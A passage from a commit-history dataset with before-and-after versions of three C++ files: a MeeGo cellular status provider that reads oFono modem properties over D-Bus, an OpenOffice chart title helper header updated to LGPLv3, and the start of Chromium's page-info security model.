if (status == \"unknown\")\n\t\t{\n\t\t\tprops[RegistrationStatus] = QVariant(\"no-sim\");\n\t\t} else if (status == \"denied\")\n\t\t{\n\t\t\tprops[RegistrationStatus] = QVariant(\"forbidden\");\n\t\t} else if (status == \"unregister\")\n\t\t{\n\t\t\tprops[RegistrationStatus] = QVariant(\"offline\");\n\t\t} else \n\t\t{\n\t\t\tprops[RegistrationStatus] =QVariant(\"\");\n\t\t}\n\t\t\n\t} else if (key == \"Strength\")\n\t{\n        \tprops[SignalStrength] = QVariant((val.variant()).toInt());\n\t} else if (key == \"Technologies\")\n\t{\n        \tprops[DataTechnology] = val.variant();\n\t}\n\tforeach(QString key, subscribedProps)\n\t{\n\t\temit valueChanged(key, props[key]);\n\t}\n}\n\nvoid CellularProvider::updateProperties()\n{\n\tif(!networkProps) return;\n\n\tQVariantMap newProps = networkProps->GetProperties();\n\tprops[SignalStrength] = QVariant(newProps[\"Strength\"].toInt());\n\tprops[DataTechnology] = newProps[\"Technology\"];\n\n\tQString status  = newProps[\"Status\"].toString();\n\tif (status == \"registered\" || status == \"roming\")\n\t{\n       \t\tprops[RegistrationStatus] = QVariant(\"online\");\n\t} else if (status == \"unknown\")\n\t{\n\t\tprops[RegistrationStatus] = QVariant(\"no-sim\");\n\t} else if (status == \"denied\")\n\t{\n\t\tprops[RegistrationStatus] = QVariant(\"forbidden\");\n\t} else if (status == \"unregister\")\n\t{\n\t\tprops[RegistrationStatus] = QVariant(\"offline\");\n\t} else \n\t{\n\t\tprops[RegistrationStatus] =QVariant(\"\");\n\t}\n\n\tforeach(QString key, subscribedProps)\n\t{\n\t\temit valueChanged(key, props[key]);\n\t}\n}\nvoid CellularProvider::emitSubscribeFinished()\n{\n\tforeach(QString key, subscribedProps)\n\t{\n\t\temit subscribeFinished(key, props[key]);\n\t}\n}\n\n\n<commit_msg>cellular: Source updated to match current oFono<commit_after>\/*  -*- Mode: C++ -*-\n *\n * contextkit-meego\n * Copyright © 2010, Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\/\n\n#include \"cellularprovider.h\"\n#include \"ofono_interface.h\"\n#include \"sim_interface.h\"\n\n#include <QDBusConnection>\n\n#define SignalStrength \"Cellular.SignalStrength\"\n#define Technology \"Cellular.Technology\"\n#define DataTechnology \"Cellular.DataTechnology\"\n#define RegistrationStatus \"Cellular.RegistrationStatus\"\n#define CellName \"Cellular.CellName\"\n#define NetworkName \"Cellular.NetworkName\"\n#define SignalBars \"Cellular.SignalBars\" \/\/ DUMMY\n#define PacketData \"Cellular.PacketData\" \/\/ TODO\n#define GSMBand \"Cellular.GSMBand\" \/\/ TODO\n#define ExtendedNName \"Cellular.ExtendedNetworkName\" \/\/ TODO\n#define CellNameEnabled \"Cellular.CellNameDisplayEnabled\" \/\/ TODO\n\n\nIProviderPlugin* pluginFactory(const QString& constructionString)\n{\n\tQ_UNUSED(constructionString)\n\treturn new CellularProvider();\n}\n\nCellularProvider::CellularProvider(): activeModem(\"\"), networkProperties(NULL), simProperties(NULL)\n{\n\tqDebug() << \"CellularProvider\" << \"Initializing cellular provider\";\n\tregisterContextDataTypes();\n\tQMetaObject::invokeMethod(this,\"ready\",Qt::QueuedConnection);\n}\n\nCellularProvider::~CellularProvider()\n{\n\tcleanProvider();\n}\n\nvoid CellularProvider::subscribe(QSet<QString> keys)\n{\n\tif(subscribedProperties.isEmpty()) initProvider();\n\n\tsubscribedProperties.unite(keys);\n\n\tQMetaObject::invokeMethod(this, \"emitSubscribeFinished\", Qt::QueuedConnection);\n}\n\nvoid CellularProvider::unsubscribe(QSet<QString> keys)\n{\n\tsubscribedProperties.subtract(keys);\n\tif(subscribedProperties.isEmpty()) cleanProvider();\n}\n\nvoid CellularProvider::initProvider()\n{\n\tQDBusPendingReply<QArrayOfPathProperties> reply;\n\tQList<QDBusObjectPath> paths;\n\n\tqDebug() << \"CellularProvider\" << \"First subscriber appeared, connecting to ofono\";\n\t\n\t managerProxy = new Manager(\"org.ofono\", \"\/\", QDBusConnection::systemBus());\n\n\treply = managerProxy->GetModems();\n\tQDBusPendingCallWatcher watcher(reply);\n\twatcher.waitForFinished();\n\n\tconnect(managerProxy, SIGNAL(ModemAdded(const QDBusObjectPath &, const QVariantMap &)),\n\t\tthis, SLOT(addModem(const QDBusObjectPath &, const QVariantMap &)));\n\n\tconnect(managerProxy, SIGNAL(ModemRemoved(const QDBusObjectPath&)),\n\t\tthis, SLOT(removeModem(const QDBusObjectPath&)));\n\n\tpaths = providerProcessGetModems(&watcher);\n\n\tforeach (QDBusObjectPath modem, paths)\n\t{\n\t\tif (activateModem(modem.path())) {\n\t\t\tupdateProperties();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tqDebug() << \"ProviderProvider\" << \"No NetworkRegistration interface found\";\n\n}\n\nQList<QDBusObjectPath> CellularProvider::providerProcessGetModems(QDBusPendingCallWatcher *call)\n{\n\tQDBusPendingReply<QArrayOfPathProperties> reply = *call;\n\tQList<QDBusObjectPath> pathlist;\n\n\tif (reply.isError()) {\n\t\t\/\/ TODO: Handle this properly, by setting states, or disabling features\n\t\tqWarning() << \"org.ofono.Manager.GetModems() failed: \" <<\n\t\treply.error().message();\n\t} else {\n\t\tQArrayOfPathProperties modems = reply.value();\n\t\tqDebug() << QString(\"modem count:\")<<modems.count();\n\n\t\tfor (int i=0; i< modems.count();i++) {\n\t\t\tOfonoPathProperties p = modems[i];\n\t\t\tpathlist.append(QDBusObjectPath(p.path.path()));\n\t\t}\n\t}\n\treturn pathlist;\n}\n\nbool CellularProvider::activateModem(const QString& path) {\n\n\tqDebug() << \"CellularProvider\" << \"activateModem\" << path;\n\n\tnetworkProperties = new NetworkProperties(\"org.ofono\",\n\t\t\t\tpath,\n\t\t\t\tQDBusConnection::systemBus());\n\tsimProperties = new SimProperties(\"org.ofono\",\n\t\t\t\tpath,\n\t\t\t\tQDBusConnection::systemBus());\n\n\tif (!networkProperties->isValid() || !simProperties->isValid()) {\n\t\tdeleteProperties();\n\t\treturn false;\n\t}\n\n\tconnect(networkProperties,SIGNAL(PropertyChanged(const QString&, const QDBusVariant&)),\n\t\tthis,SLOT(updateProperty(const QString&, const QDBusVariant&)));\n\n\tconnect(simProperties,SIGNAL(PropertyChanged(const QString&, const QDBusVariant&)),\n\t\tthis,SLOT(updateProperty(const QString&, const QDBusVariant&)));\n\n\tactiveModem = path;\n\n\treturn true;\n}\n\nvoid CellularProvider::addModem(const QDBusObjectPath& path, const QVariantMap& properties) {\n\n\tQ_UNUSED(properties)\n\n\tif(activeModem != \"\")\n\t\treturn;\n\n\tQString modemPath = path.path();\n\n\tif (activateModem(modemPath) == false)\n\t\treturn;\n\n\tupdateProperties();\n\n\tqDebug() << \"CellularProvider\" << \"Modem added: \" << path.path();\n}\n\nvoid CellularProvider::removeModem(const QDBusObjectPath& path) {\n\n\tqDebug() << \"CellularProvider\" << \"removeModem\" << path.path();\n\n\tif(path.path() == activeModem) {\n\t\tactiveModem = \"\";\n\n\t\tdeleteProperties();\n\n\t\tQArrayOfPathProperties modems = managerProxy->GetModems();\n\t\tforeach (OfonoPathProperties modem, modems) {\n\n\t\t\tif (activateModem(modem.path.path())) {\n\t\t\t\tupdateProperties();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tqDebug() << \"CellularProvider\" << \"No proper modem found\";\n\t}\n}\n\n\nvoid CellularProvider::deleteProperties() {\n\n\tqDebug() << \"CellularProvider\" << \"deleteProperties\";\n\n\tdelete networkProperties;\n\tdelete simProperties;\n\n\tforeach (QString prop, subscribedProperties) {\n\t\tsetUnknown(prop);\n\t}\n\tproperties.empty();\n\tnetworkProperties = NULL;\n\tsimProperties = NULL;\n}\n\nvoid CellularProvider::cleanProvider()\n{\n\tqDebug() << \"CellularProvider\" << \"Last subscriber gone, destroying CellularProvider connections\";\n\tdeleteProperties();\n\n\tdelete managerProxy;\n\tmanagerProxy = NULL;\n}\n\nvoid CellularProvider::updateProperty(const QString &key, const QDBusVariant &val)\n{\n\tqDebug() << \"CellularProvider\" << key<<\" changed\";\n\n\tif (key == \"Present\")\n\t\tupdateSimPresent(val);\n\n\telse if (key == \"Status\")\n\t\tupdateRegistrationStatus(val);\n\n\telse if (key == \"BaseStation\")\n\t\tupdateCellName(val);\n\n\telse if (key == \"Strength\")\n\t\tupdateSignalStrength(val);\n\n\telse if (key == \"Technology\")\n\t\tupdateTechnology(val);\n\n\telse if (key == \"Name\")\n\t\tupdateNetworkName(val);\n}\n\n\nvoid CellularProvider::updateProperties()\n{\n\tif(!networkProperties || !simProperties) {\n\t\tqDebug() << \"No Properties found\";\n\t\treturn;\n\t}\n\n\tQVariantMap np = networkProperties->GetProperties();\n\tQVariantMap sp = simProperties->GetProperties();\n\n\tQVariantMap::const_iterator iter = np.begin();\n\twhile (iter != np.end()) {\n\t\tupdateProperty(iter.key(), QDBusVariant(iter.value()));\n\t\titer++;\n\t}\n\n\titer = sp.begin();\n\twhile (iter != sp.end()) {\n\t\tupdateProperty(iter.key(), QDBusVariant(iter.value()));\n\t\titer++;\n\t}\n}\n\nvoid CellularProvider::updateSimPresent(const QDBusVariant &val)\n{\n\tbool simPresent = val.variant().toBool();\n\tif (simPresent == FALSE) {\n\t\tproperties[RegistrationStatus] = QVariant(\"no-sim\");\n\t\temit valueChanged(RegistrationStatus, properties[RegistrationStatus]);\n\n\t}\n}\n\nvoid CellularProvider::updateRegistrationStatus(const QDBusVariant &val)\n{\n\tQString status = qdbus_cast<QString> (val.variant());\n\tif (status == \"registered\") {\n\t\tproperties[RegistrationStatus] = QVariant(\"home\");\n\t}\n\telse if ( status ==\"roaming\") {\n\t\tproperties[RegistrationStatus] = QVariant(\"roam\");\n\t}\n\telse if (status == \"denied\") {\n\t\tproperties[RegistrationStatus] = QVariant(\"forbidden\");\n\t}\n\telse {\n\t\tproperties[RegistrationStatus] =QVariant(\"offline\");\n\t}\n\temit valueChanged(RegistrationStatus, properties[RegistrationStatus]);\n}\n\nvoid CellularProvider::updateCellName(const QDBusVariant &val)\n{\n\tproperties[CellName] = val.variant();\n\temit valueChanged(CellName, properties[CellName]);\n}\n\nvoid CellularProvider::updateSignalStrength(const QDBusVariant &val)\n{\n\tint strength = val.variant().toInt();\n\n\tif(strength >= 0 && strength <= 100) {\n\t\tproperties[SignalStrength] = QVariant((val.variant()).toInt());\n\t\tproperties[SignalBars] = QVariant((val.variant()).toInt() \/ 20); \/\/DUMMY\n\t} else {\n\t\tproperties[SignalStrength] = QVariant();\n\t\tproperties[SignalBars] = QVariant();\n\t}\n\n\temit valueChanged(SignalStrength, properties[SignalStrength]);\n\temit valueChanged(SignalBars, properties[SignalBars]);\n}\n\nvoid CellularProvider::updateTechnology(const QDBusVariant &val)\n{\n\tQString tech = qdbus_cast<QString> (val.variant());\n\n\tif (tech == \"gprs\") {\n\t\tproperties[DataTechnology] = QVariant(\"gsm\");\n\t\tproperties[Technology] = QVariant(\"gsm\");\n\t}\n\telse if (tech == \"egprs\") {\n\t\tproperties[DataTechnology] = QVariant(\"edge\");\n\t\tproperties[Technology] = QVariant(\"gsm\");\n\t}\n\telse if (tech == \"umts\") {\n\t\tproperties[DataTechnology] = QVariant(\"umts\");\n\t\tproperties[Technology] = QVariant(\"umts\");\n\t}\n\telse if (tech == \"hspa\") {\n\t\tproperties[DataTechnology] = QVariant(\"hspa\");\n\t\tproperties[Technology] = QVariant(\"umts\");\n\t}\n\telse if (tech == \"lte\") {\n\t\tproperties[DataTechnology] = QVariant(\"lte\");\n\t\tproperties[Technology] = QVariant(\"lte\");\n\t}\n\telse {\n\t\tproperties[DataTechnology] = QVariant();\n\t\tproperties[Technology] = QVariant();\n\n\t}\n\temit valueChanged(DataTechnology, properties[DataTechnology]);\n\temit valueChanged(Technology, properties[Technology]);\n}\n\nvoid CellularProvider::setUnknown(const QString& key) {\n\temit valueChanged(key,QVariant());\n}\n\nvoid CellularProvider::updateNetworkName(const QDBusVariant &val)\n{\n\tproperties[NetworkName] = val.variant();\n\temit valueChanged(NetworkName, properties[NetworkName]);\n}\n\nvoid CellularProvider::emitSubscribeFinished()\n{\n\tforeach(QString key, subscribedProperties)\n\t{\n\t\temit subscribeFinished(key, properties[key]);\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: TitleHelper.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2008-02-18 16:00:07 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _CHART2_TOOLS_TITLEHELPER_HXX\n#define _CHART2_TOOLS_TITLEHELPER_HXX\n\n#include \"ReferenceSizeProvider.hxx\"\n\n#ifndef _COM_SUN_STAR_CHART2_XTITLED_HPP_\n#include <com\/sun\/star\/chart2\/XTitled.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_FRAME_XMODEL_HPP_\n#include <com\/sun\/star\/frame\/XModel.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UNO_XCOMPONENTCONTEXT_HPP_\n#include <com\/sun\/star\/uno\/XComponentContext.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CHART2_XDIAGRAM_HPP_\n#include <com\/sun\/star\/chart2\/XDiagram.hpp>\n#endif\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\nclass TitleHelper\n{\npublic:\n    enum eTitleType\n    {\n        TITLE_BEGIN = 0,\n        MAIN_TITLE = 0,\n        SUB_TITLE,\n        X_AXIS_TITLE,\n        Y_AXIS_TITLE,\n        Z_AXIS_TITLE,\n        SECONDARY_X_AXIS_TITLE,\n        SECONDARY_Y_AXIS_TITLE,\n        NORMAL_TITLE_END,\n\n        \/\/it is intended that this both types are after NORMAL_TITLE_END\n        TITLE_AT_STANDARD_X_AXIS_POSITION, \/\/equals the Y_AXIS_TITLE for barchart\n        TITLE_AT_STANDARD_Y_AXIS_POSITION  \/\/equals the X_AXIS_TITLE for barchart\n    };\n\n    static ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >\n        getTitle( eTitleType nTitleIndex\n                    , const ::com::sun::star::uno::Reference<\n                    ::com::sun::star::frame::XModel >& xModel );\n\n    static ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >\n        createTitle(  eTitleType nTitleIndex\n                    , const rtl::OUString& rTitleText\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::frame::XModel >& xModel\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::uno::XComponentContext > & xContext\n                    , ReferenceSizeProvider * pRefSizeProvider = 0 );\n\n    static void removeTitle( eTitleType nTitleIndex\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::frame::XModel >& xModel );\n\n    static rtl::OUString getCompleteString( const ::com::sun::star::uno::Reference<\n        ::com::sun::star::chart2::XTitle >& xTitle );\n    static void setCompleteString( const rtl::OUString& rNewText\n        , const ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >& xTitle\n        , const ::com::sun::star::uno::Reference<\n            ::com::sun::star::uno::XComponentContext > & xContext\n        , float * pDefaultCharHeight = 0 );\n\n    static bool getTitleType( eTitleType& rType\n                    , const ::com::sun::star::uno::Reference<\n                        ::com::sun::star::chart2::XTitle >& xTitle\n                    , const ::com::sun::star::uno::Reference<\n                        ::com::sun::star::frame::XModel >& xModel );\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<commit_msg>INTEGRATION: CWS changefileheader (1.6.34); FILE MERGED 2008\/04\/01 10:50:29 thb 1.6.34.2: #i85898# Stripping all external header guards 2008\/03\/28 16:43:57 rt 1.6.34.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: TitleHelper.hxx,v $\n * $Revision: 1.7 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _CHART2_TOOLS_TITLEHELPER_HXX\n#define _CHART2_TOOLS_TITLEHELPER_HXX\n\n#include \"ReferenceSizeProvider.hxx\"\n#include <com\/sun\/star\/chart2\/XTitled.hpp>\n#include <com\/sun\/star\/frame\/XModel.hpp>\n#include <com\/sun\/star\/uno\/XComponentContext.hpp>\n#include <com\/sun\/star\/chart2\/XDiagram.hpp>\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\nclass TitleHelper\n{\npublic:\n    enum eTitleType\n    {\n        TITLE_BEGIN = 0,\n        MAIN_TITLE = 0,\n        SUB_TITLE,\n        X_AXIS_TITLE,\n        Y_AXIS_TITLE,\n        Z_AXIS_TITLE,\n        SECONDARY_X_AXIS_TITLE,\n        SECONDARY_Y_AXIS_TITLE,\n        NORMAL_TITLE_END,\n\n        \/\/it is intended that this both types are after NORMAL_TITLE_END\n        TITLE_AT_STANDARD_X_AXIS_POSITION, \/\/equals the Y_AXIS_TITLE for barchart\n        TITLE_AT_STANDARD_Y_AXIS_POSITION  \/\/equals the X_AXIS_TITLE for barchart\n    };\n\n    static ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >\n        getTitle( eTitleType nTitleIndex\n                    , const ::com::sun::star::uno::Reference<\n                    ::com::sun::star::frame::XModel >& xModel );\n\n    static ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >\n        createTitle(  eTitleType nTitleIndex\n                    , const rtl::OUString& rTitleText\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::frame::XModel >& xModel\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::uno::XComponentContext > & xContext\n                    , ReferenceSizeProvider * pRefSizeProvider = 0 );\n\n    static void removeTitle( eTitleType nTitleIndex\n                    , const ::com::sun::star::uno::Reference<\n                            ::com::sun::star::frame::XModel >& xModel );\n\n    static rtl::OUString getCompleteString( const ::com::sun::star::uno::Reference<\n        ::com::sun::star::chart2::XTitle >& xTitle );\n    static void setCompleteString( const rtl::OUString& rNewText\n        , const ::com::sun::star::uno::Reference<\n            ::com::sun::star::chart2::XTitle >& xTitle\n        , const ::com::sun::star::uno::Reference<\n            ::com::sun::star::uno::XComponentContext > & xContext\n        , float * pDefaultCharHeight = 0 );\n\n    static bool getTitleType( eTitleType& rType\n                    , const ::com::sun::star::uno::Reference<\n                        ::com::sun::star::chart2::XTitle >& xTitle\n                    , const ::com::sun::star::uno::Reference<\n                        ::com::sun::star::frame::XModel >& xModel );\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/page_info_model.h\"\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/callback.h\"\n#include \"base\/i18n\/time_formatting.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/cert_store.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/ssl\/ssl_manager.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/cert_status_flags.h\"\n#include \"net\/base\/x509_certificate.h\"\n\nnamespace {\n  \/\/ Returns a name that can be used to represent the issuer.  It tries in this\n  \/\/ order CN, O and OU and returns the first non-empty one found.\n  std::string GetIssuerName(const net::X509Certificate::Principal& issuer) {\n    if (!issuer.common_name.empty())\n      return issuer.common_name;\n    if (!issuer.organization_names.empty())\n      return issuer.organization_names[0];\n    if (!issuer.organization_unit_names.empty())\n      return issuer.organization_unit_names[0];\n\n    return std::string();\n  }\n}\n\nPageInfoModel::PageInfoModel(Profile* profile,\n                             const GURL& url,\n                             const NavigationEntry::SSLStatus& ssl,\n                             bool show_history,\n                             PageInfoModelObserver* observer)\n    : observer_(observer) {\n  bool state = true;\n  string16 head_line;\n  string16 description;\n  scoped_refptr<net::X509Certificate> cert;\n\n  \/\/ Identity section.\n  string16 subject_name(UTF8ToUTF16(url.host()));\n  bool empty_subject_name = false;\n  if (subject_name.empty()) {\n    subject_name.assign(\n        l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_UNKNOWN_PARTY));\n    empty_subject_name = true;\n  }\n  if (ssl.cert_id() &&\n      CertStore::GetSharedInstance()->RetrieveCert(ssl.cert_id(), &cert) &&\n      !net::IsCertStatusError(ssl.cert_status())) {\n    \/\/ OK HTTPS page.\n    if ((ssl.cert_status() & net::CERT_STATUS_IS_EV) != 0) {\n      DCHECK(!cert->subject().organization_names.empty());\n      head_line =\n          l10n_util::GetStringFUTF16(IDS_PAGE_INFO_EV_IDENTITY_TITLE,\n              UTF8ToUTF16(cert->subject().organization_names[0]),\n              UTF8ToUTF16(url.host()));\n      \/\/ An EV Cert is required to have a city (localityName) and country but\n      \/\/ state is \"if any\".\n      DCHECK(!cert->subject().locality_name.empty());\n      DCHECK(!cert->subject().country_name.empty());\n      string16 locality;\n      if (!cert->subject().state_or_province_name.empty()) {\n        locality = l10n_util::GetStringFUTF16(\n            IDS_PAGEINFO_ADDRESS,\n            UTF8ToUTF16(cert->subject().locality_name),\n            UTF8ToUTF16(cert->subject().state_or_province_name),\n            UTF8ToUTF16(cert->subject().country_name));\n      } else {\n        locality = l10n_util::GetStringFUTF16(\n            IDS_PAGEINFO_PARTIAL_ADDRESS,\n            UTF8ToUTF16(cert->subject().locality_name),\n            UTF8ToUTF16(cert->subject().country_name));\n      }\n      DCHECK(!cert->subject().organization_names.empty());\n      description.assign(l10n_util::GetStringFUTF16(\n          IDS_PAGE_INFO_SECURITY_TAB_SECURE_IDENTITY_EV,\n          UTF8ToUTF16(cert->subject().organization_names[0]),\n          locality,\n          UTF8ToUTF16(GetIssuerName(cert->issuer()))));\n    } else {\n      \/\/ Non EV OK HTTPS.\n      if (empty_subject_name)\n        head_line.clear();  \/\/ Don't display any title.\n      else\n        head_line.assign(subject_name);\n      string16 issuer_name(UTF8ToUTF16(GetIssuerName(cert->issuer())));\n      if (issuer_name.empty()) {\n        issuer_name.assign(l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_UNKNOWN_PARTY));\n      } else {\n        description.assign(l10n_util::GetStringFUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_SECURE_IDENTITY, issuer_name));\n      }\n    }\n  } else {\n    \/\/ Bad HTTPS.\n    description.assign(l10n_util::GetStringUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_INSECURE_IDENTITY));\n    state = false;\n  }\n  sections_.push_back(SectionInfo(\n      state,\n      l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_IDENTITY_TITLE),\n      head_line,\n      description));\n\n  \/\/ Connection section.\n  \/\/ We consider anything less than 80 bits encryption to be weak encryption.\n  \/\/ TODO(wtc): Bug 1198735: report mixed\/unsafe content for unencrypted and\n  \/\/ weakly encrypted connections.\n  state = true;\n  head_line.clear();\n  description.clear();\n  if (ssl.security_bits() <= 0) {\n    state = false;\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_NOT_ENCRYPTED_CONNECTION_TEXT,\n        subject_name));\n  } else if (ssl.security_bits() < 80) {\n    state = false;\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_WEAK_ENCRYPTION_CONNECTION_TEXT,\n        subject_name));\n  } else {\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_CONNECTION_TEXT,\n        subject_name,\n        IntToString16(ssl.security_bits())));\n    if (ssl.displayed_insecure_content() || ssl.ran_insecure_content()) {\n      state = false;\n      description.assign(l10n_util::GetStringFUTF16(\n          IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_SENTENCE_LINK,\n          description,\n          l10n_util::GetStringUTF16(ssl.ran_insecure_content() ?\n              IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_INSECURE_CONTENT_ERROR :\n              IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_INSECURE_CONTENT_WARNING)));\n    }\n  }\n  sections_.push_back(SectionInfo(\n      state,\n      l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_CONNECTION_TITLE),\n      head_line,\n      description));\n\n  \/\/ Request the number of visits.\n  HistoryService* history = profile->GetHistoryService(\n      Profile::EXPLICIT_ACCESS);\n  if (show_history && history) {\n    history->GetVisitCountToHost(\n        url,\n        &request_consumer_,\n        NewCallback(this, &PageInfoModel::OnGotVisitCountToHost));\n  }\n}\n\nint PageInfoModel::GetSectionCount() {\n  return sections_.size();\n}\n\nPageInfoModel::SectionInfo PageInfoModel::GetSectionInfo(int index) {\n  DCHECK(index < static_cast<int>(sections_.size()));\n  return sections_[index];\n}\n\nvoid PageInfoModel::OnGotVisitCountToHost(HistoryService::Handle handle,\n                                          bool found_visits,\n                                          int count,\n                                          base::Time first_visit) {\n  if (!found_visits) {\n    \/\/ This indicates an error, such as the page wasn't http\/https; do nothing.\n    return;\n  }\n\n  bool visited_before_today = false;\n  if (count) {\n    base::Time today = base::Time::Now().LocalMidnight();\n    base::Time first_visit_midnight = first_visit.LocalMidnight();\n    visited_before_today = (first_visit_midnight < today);\n  }\n\n  if (!visited_before_today) {\n    sections_.push_back(SectionInfo(\n        false,\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_PERSONAL_HISTORY_TITLE),\n        string16(),\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_FIRST_VISITED_TODAY)));\n  } else {\n    sections_.push_back(SectionInfo(\n        true,\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_PERSONAL_HISTORY_TITLE),\n        string16(),\n        l10n_util::GetStringFUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_VISITED_BEFORE_TODAY,\n            WideToUTF16(base::TimeFormatShortDate(first_visit)))));\n  }\n  observer_->ModelChanged();\n}\n\n\/\/ static\nvoid PageInfoModel::RegisterPrefs(PrefService* prefs) {\n  prefs->RegisterDictionaryPref(prefs::kPageInfoWindowPlacement);\n}\n<commit_msg>Trivial change: update a comment.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/page_info_model.h\"\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/callback.h\"\n#include \"base\/i18n\/time_formatting.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/cert_store.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/ssl\/ssl_manager.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/cert_status_flags.h\"\n#include \"net\/base\/x509_certificate.h\"\n\nnamespace {\n  \/\/ Returns a name that can be used to represent the issuer.  It tries in this\n  \/\/ order CN, O and OU and returns the first non-empty one found.\n  std::string GetIssuerName(const net::X509Certificate::Principal& issuer) {\n    if (!issuer.common_name.empty())\n      return issuer.common_name;\n    if (!issuer.organization_names.empty())\n      return issuer.organization_names[0];\n    if (!issuer.organization_unit_names.empty())\n      return issuer.organization_unit_names[0];\n\n    return std::string();\n  }\n}\n\nPageInfoModel::PageInfoModel(Profile* profile,\n                             const GURL& url,\n                             const NavigationEntry::SSLStatus& ssl,\n                             bool show_history,\n                             PageInfoModelObserver* observer)\n    : observer_(observer) {\n  bool state = true;\n  string16 head_line;\n  string16 description;\n  scoped_refptr<net::X509Certificate> cert;\n\n  \/\/ Identity section.\n  string16 subject_name(UTF8ToUTF16(url.host()));\n  bool empty_subject_name = 